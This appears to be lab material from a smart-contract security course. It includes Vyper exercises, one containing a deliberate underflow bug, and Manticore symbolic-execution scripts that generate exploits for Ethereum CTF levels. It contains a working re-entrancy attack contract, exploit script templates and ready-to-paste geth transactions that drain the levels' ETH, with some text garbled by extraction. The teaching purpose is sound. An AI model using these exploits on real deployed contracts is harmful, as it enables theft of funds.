# Vyper Labs



# Lab 4.1: MyContract in Vyper

- Write, compile, and deploy a Vyper version of the MyContract contract previously implemented in Solidity
- Visit Remix and select the Vyper environment



# MyContract code

- Set owner in constructor
- Implement fallback to receive money
- Implement a balance check function
- Implement a cashing out function

```
owner: public(address)
```

```
@public
def __init__():
    self.owner = msg.sender
```

#### @public

```
def v_cashOut():
    selfdestruct(self.owner)
```

@public
@constant
def v\_getBalance() -> wei\_value:
 return self.balance

@public
@payable
def \_\_default\_\_():
 pass

# Remix

• Compile and deploy



#### Interact via Remix to

- Add value
- Get balance
- Cash out
- Screenshot transactions as instructed

# UnderFlowContract in Vyper

- Vyper compiles checks in bytecode to detect overflow and underflow
- Write, compile, and deploy a Vyper contract with an arithmetic underflow vulnerability
- Attempt to leverage the vulnerability to trigger a run-time check
- Visit Remix and select the Vyper environment

# UnderFlowContract code

- Declare storage variables
  - owner (i.e. you)
  - instructor (i.e. me)
  - commission (i.e. my cut of your ETH 🕲)
  - funds (current ETH the contract has)
- Set constructor to inialize storage variables
- Set fallback function to receive funds given during deployment

```
owner: public(address)
instructor: public(address)
commission: public(wei_value)
funds: public(wei_value)
```

```
@public def __init__():
    self.owner = msg.sender
    self.instructor = 0xe9e7034AeD5CE7f5b0D281CFE347B8a5c2c53504
    self.funds = 0
    self.commission = 1000
```

# @public @payable def \_\_default\_\_(): self.funds += msg.value

- Implement v\_cashOut() to first send the instructor his commission, then call selfdestruct() to receive the rest of the ETH
- Implement v\_reduceCommission() to reduce instructor's commission if you don't feel as generous tomorrow as you did today
- Implement function to get amount of funds in contract

```
@public
def v_cashOut():
    send(self.instructor, self.commission)
    selfdestruct(self.owner)
```

```
@public
def v_reduceCommission():
    self.commission -= 500
```

```
@public
@constant
def v_getBalance() -> wei_value:
    return self.funds
```

Spot the error.

```
How would you fix it?
```

# Remix

• Compile and deploy



- Interact via Remix to
  - Attempt to leverage error
  - Show the resulting transactions in Etherscan

# Lab 4.2: Fundraiser in Vyper

- Take Solidity version of Fundraiser smart contract from Solidity Labs
- Re-implement in Vyper
- Interact with Fundraiser

# Manticore

# Lab 5.1 Manticore/geth setup

- Run an Ethereum light node on Google Cloud Platform and connect your account to it
  - Create a VM running Ubuntu on Compute Engine
  - Install Docker on it
  - Run the course container that contains
    - geth and Manticore
    - Source-code of Security Innovation CTF levels
    - Manticore solution templates of Security Innovation CTF levels
  - Practice tmux and docker commands to run, attach, and detach to your sessions (while saving all of your work)
  - Attach to tmux session on container to run an Ethereum light node via geth and detach (to allow it to sync up continually in the background)
  - Attach to tmux session on container to run an interactive geth session
    - Import the private-key for your Metamask wallet so the session can submit transactions on its behalf to solve levels
  - Detach from tmux and container (to allow geth to sync up continually in the background)

# Labs 5.2-5.5

- Take template Manticore scripts and fill them in based on knowledge of the smart contract levels of SI CTF
- Run the Manticore symbolic execution engine to automatically generate exploits for each contract
- Run the exploit in geth
- Show that the transactions in Etherscan that solve each level

# 5.2. Manticore Donation

# But first, recall keccak256

- Used to generate 4-byte function signatures for ABI (msg.data)
- Followed by parameters for call
  - 32 bytes consisting of 20 byte address and 12 bytes of zero padding

#### Keccak-256

Keccak-256 online hash function

set\_vulnerable\_contract(address)

beac44e72a67f34499d98cce5c8791c7e0ff8db8abedc2943ccad0a1c7cda80d

eth.sendTransaction({data:"<a href="dynamicslead-right">dynamicslead-right</a> e42c619a792e57f25e6a13319d3302288b26",from:"0xe9e7034aed5ce7f5b0d 281cfe347b8a5c2c53504",to:"0x49c7d4907e1306272ff03f1b3e88b00439ad 562e",value:"0x0",gas:"0xffffffffffffff))

#### **Recall Donation**

```
contract Donation is CtfFramework{
    using SafeMath for uint256;
    uint256 public funds;
    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        funds = funds.add(msg.value);
    }
    function() external payable ctf{
        funds = funds.add(msg.value);
    }
    function withdrawDonationsFromTheSuckersWhoFellForIt() external ctf{
        msg.sender.transfer(funds);
        funds = 0;
    }
```

# Manticore script to solve Donation

```
• Import Manticore EVM implementation
```

from manticore.ethereum import ManticoreEVM
import binascii
import sys

• Get wallet address and Donation contract address to attack

```
    Specify the source code of contract to analyze
    from_address = (sys.argv[1], 16) if (sys.argv)>1 else "<your address here>"
    si_level_address = (sys.argv[2], 16) if (sys.argv)>2 else "<SI ctf level address>"
    sol_file = sys.argv[3] if (sys.argv)>3 else "/home/auditor/SI_ctf_levels/Donation.sol"
```

• Specify gas for transactions created and the amount of ETH (in units of Wei) for Manticore to try and steal

```
gas = 100000
contract_balance = (0.05 * 10**18)
```

• Read in contract source code

- Instantiate Manticore EVM
   m = ManticoreEVM()
- Create a user account on the EVM
  - Give it enough funds to instantiate Donation contract

user\_account = m.create\_account(address=from\_address, balance=contract\_balance)

- Create the smart contract on the EVM
  - Specify the source code string from before so Manticore can compile it into EVM bytecode for symbolic execution
  - Specify which contract in source code to create (could have multiple)
  - Specify account to launch contract (technically should be launcher account, but OK for now to use your user\_account)
  - Specify initial balance and empty args (no args in constructor)

```
contract_account = m.solidity_create_contract(
    contract_src,
    contract_name="Donation",
    owner=user_account,
    balance=contract_balance,
    args=(0,0)
```

- Ethereum contracts have one entry point
  - Implements a switch statement that takes in the first 4 bytes of "data" and calls appropriate function based on this signature
  - Signature generated from the first 4 bytes of the keccak256 hash of the function prototype (e.g. *someFunction(uint256,uint256)*)
  - Want Manticore to make these bytes symbolic so it can call \*any\* function in the switch statement
  - Done via make\_symbolic\_buffer() with a size parameter in bytes
- For Donation level, we want it to find the function call to withdraw all of the funds (e.g. withdrawMoneyFromSuckers...)
  - Call takes no parameter so only need to make the function bytes symbolic

sym\_args = m.make\_symbolic\_buffer(4)

- Note that we could make many of the arguments symbolic
- Execution will still work, but take longer

• Create symbolic transaction with initial constraints for Manticore to start with

 Manticore can now use this transaction to perform symbolic execution to find a transaction that pulls out the balance of the target contract

- Main symbolic execution loop
  - Go through states still running to see if condition (exploit) can be met
  - See if we can obtain the contract\_balance (winning condition)
  - If so, add constraints to make this happen and ask solver to concretize an input for sym\_args that allows this
  - Output transaction in a format to give geth to solve level and exit

```
for state in m.running_states:
    world = state.platform
```

#### • Run script

auditor@3413cdaeb715:~/manticore\_scripts\$ python3 donation\_solution.py 0xe9 e7034AeD5CE7f5b0D281CFE347B8a5c2c53504 0xdc7cc584b66efed7fd83282132b9965347 fa3ae1

eth.sendTransaction({data:"0x05b0e426", from:"0xe9e7034aed5ce7f5b0d281cfe34 7b8a5c2c53504", to:"0xdc7cc584b66efed7fd83282132b9965347fa3ae1", gas:100000

• Note "data" field of transaction specifies function call and

parameters

Keccak-256 online hash function

withdrawDonationsFromTheSuckersWhoFellForIt()

05b0e426c6330d023ac32886b0c748dac039d87928481f675e511df790db84d6

- Copy and paste transaction into geth to solve level
  - You Metamask wallet must be imported and unlocked in geth (see prior lab)
  - If you get an "Error: no suitable peers available" error
    - Ensure your geth light node is syncing and is caught up
    - Exit the interactive geth session
    - Kill (Ctrl-c) the geth session that is syncing
    - Restart both (see prior lab)

- Show screenshots of
  - The output of the Manticore Python script using your account and CTF level addresses
  - The transaction being submitted to geth (and the resulting transaction hash that is output)
  - The transaction on EtherScan that shows the transfer of ETH from the CTF level contract to your wallet address

# 5.3. Manticore PiggyBank

# Recall PiggyBank level

• PiggyBank base class

```
function collectFunds(uint256 amount) public onlyOwner ctf{
    require(amount<=piggyBalance, "Insufficient Funds in Contract");
    withdraw(amount);</pre>
```

• CharliesPiggyBank derived class

```
function collectFunds(uint256 amount) public ctf{
    require(amount<=piggyBalance, "Insufficient Funds in Contract");
    withdrawlCount = withdrawlCount.add(1);
    withdraw(amount);
}</pre>
```

#### Manticore

- Similar setup as Donation with one difference
  - As before, make arguments (e.g. "data" symbolic), but unlike Donation, need to pass a symbolic argument
    - What is the size in bytes of this argument?
    - Update size of symbolic buffer

```
sym_args = m.make_symbolic_buffer(4+???)
```

- Show screenshots of
  - The output of the Manticore Python script using your account and CTF level addresses
  - The transaction being submitted to geth (and the resulting transaction hash that is output)
  - The transaction on EtherScan that shows the transfer of ETH from the CTF level contract to your wallet address

# 5.4. Manticore LockBox

### Recall LockBox level

- Contract unlocks when given the correct PIN
  - $\bullet$  PIN calculated by the value of the timestamp (now) when contract is created
  - Goal: Automatically find a solution to unlock contract and obtain funds

```
pragma solidity 0.4.24;
import "../CtfFramework.sol";
contract Lockbox1 is CtfFramework{
    uint256 private pin;
    constructor(address ctfLauncher, address player) public payable
        CtfFramework( ctfLauncher, player)
        pin = now%10000;
    function unlock(uint256 pin) external ctf{
        require(pin == _pin, "Incorrect PIN");
        msg.sender.transfer(address(this).balance);
```

### Manticore script

- Similar setup to PiggyBank with one difference
  - Initialize EVM with custom world state when contract is created
    - Specify the correct timestamp to create contract with
    - Then solve for input
  - Done by specifying initial constraints on a custom Manticore EVM state class in manticore\_scripts/MEVMCustomState.py
    - Create blank constraint set

initial\_constraints = ConstraintSet()

• Use it, along with timestamp from LOCkBOX contract to create custom world with specified timestamp

initial\_world = evm.EVMWorld(initial\_constraints, timestamp=???)

• Create the initial state to instantiate Manticore EVM with

```
initial_state = State(initial_constraints, initial_world)
```

```
m = MEVMCustomState(initial_state=initial_state)
```

• Perform symbolic execution as before

- Show screenshots of
  - The output of the Manticore Python script using your account and CTF level addresses
  - The transaction being submitted to geth (and the resulting transaction hash that is output)
  - The transaction on EtherScan that shows the transfer of ETH from the CTF level contract to your wallet address

# 5.5. Manticore TrustFund



# TrustFund via symbolic execution

- Exact option (codelab)
  - Have Manticore calculate the exact transactions to create attack contracts and initiate the exploit
  - Have Manticore calculate contract addresses by reverse-engineering them by finding nonces as in RainyDayFund
- Inexact option
  - Have Manticore find the payloads for the transactions to exploit level, but manually fill in the contract addresses based on deployed contracts
  - No need to find nonces, but transactions emitted by Manticore script must be modified with actual contract addresses

### Recall TrustFund level

- Re-entrancy attack on withdraw()
  - Implement attack contract whose fallback function calls withdraw()

```
function withdraw() external {
  require(allowancePerYear > 0, "No Allowances Allowed");
  checkIfYearHasPassed();
  require(!withdrewThisYear, "Already Withdrew This Year");
  if (msg.sender.call.value(allowancePerYear)()) {
    withdrewThisYear = true;
    numberOfWithdrawls = numberOfWithdrawls.add(1);
  }
```

#### Level requires an attack contract

- Manticore provides generic re-entrancy attack contract (exploit\_source\_code)
- Manticore script generates transactions to launch contract and subsequently interact with it
  - Attack contract contains variables that can be set with address of vulnerable contract and attack string to send it (msg.data)

#### contract GenericReentranceExploit {

```
int reentry_reps; // Number of times to re-enter victim
address vulnerable_contract; // Address of victim
address owner; // Address to send ETH to after exploit
```

```
// msg.data to call victim with to pull off re-entrancy
bytes reentry_attack_string;
```

```
// Owner set to sender
function GenericReentranceExploit(){
    owner = msg.sender;
```

- Set victim address
- Set msg.data to call victim with recursively
- Set number of times to re-enter victim
- proxycall () to initiate re-entrancy attack
  - Includes argument that specifies msg.data to start attack on victim
- Calls to each of the above generated by Manticore via symbolic execution to pull off exploit

```
function set_vulnerable_contract(address _vulnerable_contract){
    vulnerable_contract = _vulnerable_contract;
```

```
function set_reentry_attack_string(bytes _reentry_attack_string){
    reentry_attack_string = _reentry_attack_string;
```

```
function set_reentry_reps(int256 reps){
    reentry_reps = reps;
```

```
function proxycall(bytes data) payable{
    vulnerable_contract.call.value(msg.value)(data);
```

- Fallback function to do recursive re-entrancy call reentry\_reps times using attack string
- get\_money() to retrieve captured ETH

```
function () payable{
    // recurse between vulnerable contract & our fallback function
    if (reentry_reps > 0) {
        reentry_reps = reentry_reps - 1;
        vulnerable_contract.call(reentry_attack_string);
    }
}
function get_money(){
    // Retrieve the ether after exploitation
        owner.send(this.balance);
}
```

### Manticore script

• Set value of nonce for an address (to determine contract addresses)

```
# - Manticore currently only allows for incrementing a nonce
def set_nonce(world,address,nonce):
   while world.get_nonce(address) < nonce:
      world.increase_nonce(address)
```

• Initialize balances in Wei for victim (contract\_balance) and attacker

```
contract_balance = ???
attacker_balance = 0
```

• Create accounts that instantiate the contracts

• creator\_account is CTF level launcher

```
creator_account = m.create_account(
    address=contract_creator_address,
    balance=contract_balance)
```

```
attacker_account = m.create_account(
    address=from_address,
    balance=attacker_balance)
```

#### Set account nonces

- Set nonce for CTF level launcher (similar to RainyDayFund)
  - Can be difficult to find
  - Alternative is to set nonce to 1 and manually change address in transactions after exploit is generated

set\_nonce(m.get\_world(), creator\_account.address, ???)

• Set your wallet's nonce that creates the generic attack contract

• Can also be set to 1, followed by manually changing the address in transactions

set\_nonce(m.get\_world(), attacker\_account.address, ???)

#### **Create contracts**

• Victim contract

```
contract_account = m.solidity_create_contract(
    contract_source_code,  # read in from file system
    contract_name="TrustFund",
    owner=creator_account,
    address=si_level_address, # program fails if nonce wrong
    args=(0,0),
    balance=contract balance)
```

• Attacker (exploit) contract

### Perform attack symbolically

- Set the address of vulnerable contract in exploit contract exploit\_account.set\_vulnerable\_contract(contract\_account)
- Set number of times to re-enter vulnerable contract exploit\_account.set\_reentry\_reps(???)
- Create a symbolic string to be used to call vulnerable contract via msg.data with re-entrancy exploit
  - Manticore will solve for this to find signature hash for withdraw()
    reentry\_string = m.make\_symbolic\_buffer(???)
- Set reentry\_attack\_string in exploit to symbolic string exploit\_account.set\_reentry\_attack\_string(reentry\_string)
- Then, call the exploit via proxycall() exploit\_account.proxycall(reentry\_string)
- Retrieve money from attack contract exploit\_account.get\_money()

#### Find state where we win and solve

for state in m.running\_states:
 world = state.platform

```
if state.can_be_true(world.get_balance(attacker_account.address) ==
                     contract balance+attacker balance):
   state.constraints.add(world.get balance(attacker account.address) ==
                         contract_balance+attacker_balance)
  # Go through all transactions and concretize. Note that Manticore
  # returns all transactions in the world not just the ones we send
   for transaction in world transactions:
      data = state.solve one(transaction.data)
      caller = state.solve one(transaction.caller)
      address = state.solve one(transaction.address)
     value = state.solve one(transaction.value)
     gas = state.solve one(transaction.gas)
      if caller==attacker account.address:
         geth str = "eth.sendTransaction({data:\"0x"
         geth str += binascii.hexlify(data).decode('utf-8')+"\","
         geth str += "from:\""+ (caller)+"\"," ... etc.
         print(geth str)
    sys.exit(0)
```

# Run script to get output to run in geth

• Note that the script takes in an additional parameter (the address of the contract that creates the level)

// Attack contract creation
eth.sendTransaction({data:"0x608060405234801561001057600080fd5b5033

8555821561047f579182015b8281111561047e57825182559160200191906001019
76000816000905550600101610496565b5090565b905600a165627a7a723058203b
3b1acf4061aa78be59e1a55f7cb6d62aac24750a2239d695ec58bd3a7fdbd30029"
,from:"0xe9e7034aed5ce7f5b0d281cfe347b8a5c2c53504",value:"0x0",gas:
"0x2dc6c0"})

// Transaction returns contract address
// 0x4B426b7a7255587D3403FD6eA0ee7c66a25cb642

# Add to authorized sender

• To allow transactions from newly created contract in previous step

·	MyCrypto
eract Deploy	
Select Existing Contract	Contract Address
Select a contract	- 0x7540e42c619a792e57f25e6a13
{ anonymous haise, inputs .	
[{"indexed":true,"name":"player","ty {"constant":false,"inputs":[],"name": [],"payable":false,"stateMutability": [],"name":"returnFunds","outputs":[]	ype":"address"}],"name":"Transaction","type":"event"}, "withdraw","outputs": "nonpayable","type":"function"},{"constant":false,"inputs": ],"payable":true," <u>stateMutability</u> ":"payable","type":"function"}]
[{"indexed":true,"name":"player","ty {"constant":false,"inputs":[],"name": [],"payable":false," <u>stateMutability</u> ": [],"name":" <u>returnFunds</u> ","outputs":[] Access Read / Write Contract	<pre>vpe":"address"}],"name":"Transaction","type":"event"}, "withdraw","outputs": "nonpayable","type":"function"},{"constant":false,"inputs": ],"payable":true,"stateMutability":"payable","type":"function"}] Ox7540e42c619a792e57f25e6a13319d3302288b2</pre>
<pre>[{"indexed":true,"name":"player","ty {"constant":false,"inputs":[],"name": [],"payable":false,"stateMutability": [],"name":"returnFunds","outputs":[] Access Read / Write Contract ctf_challenge_add_authorized_send</pre>	<pre>vpe":"address"}],"name":"Transaction","type":"event"}, "withdraw","outputs": "nonpayable","type":"function"},{"constant":false,"inputs": ],"payable":true,"stateMutability":"payable","type":"function"}] Ox7540e42c619a792e57f25e6a13319d3302288b2 der × -</pre>
["indexed":true,"name":"player","ty         [[constant":false,"inputs":[],"name":         [],"payable":false,"stateMutability":         [],"name":"returnFunds","outputs":[]         Access         Read / Write Contract         ctf_challenge_add_authorized_sence         addr address	<pre>vpe":"address"}],"name":"Transaction","type":"event"}, "withdraw","outputs": "nonpayable","type":"function"},{"constant":false,"inputs": ],"payable":true,"stateMutability":"payable","type":"function"}] Ox7540e42c619a792e57f25e6a13319d3302288b2 der × </pre>

// set\_vulnerable\_contract(address)
eth.sendTransaction({data:"0xbeac44e70000000000000000000000007540e4
2c619a792e57f25e6a13319d3302288b26",from:"0xe9e7034aed5ce7f5b0d281c
fe347b8a5c2c53504",to:"0x4B426b7a7255587D3403FD6eA0ee7c66a25cb642",
value:"0x0",gas:"0x2fffff"})

#### // proxycall(bytes)

// get\_money()
eth.sendTransaction({data:"0xb8029269",from:"0xe9e7034aed5ce7f5b0d
281cfe347b8a5c2c53504",to:"0x4B426b7a7255587D3403FD6eA0ee7c66a25cb
642",value:"0x0",gas:"0x2fffff"})

- Show screenshots of
  - The output of the Manticore Python script using your account and CTF level addresses
  - The transactions being submitted to geth (and the resulting transaction hashes that are output)
  - Screenshot the 10 transfers from the re-entrancy exploit being executed in EtherScan
  - Screenshot the get\_money() transfer to your wallet in EtherScan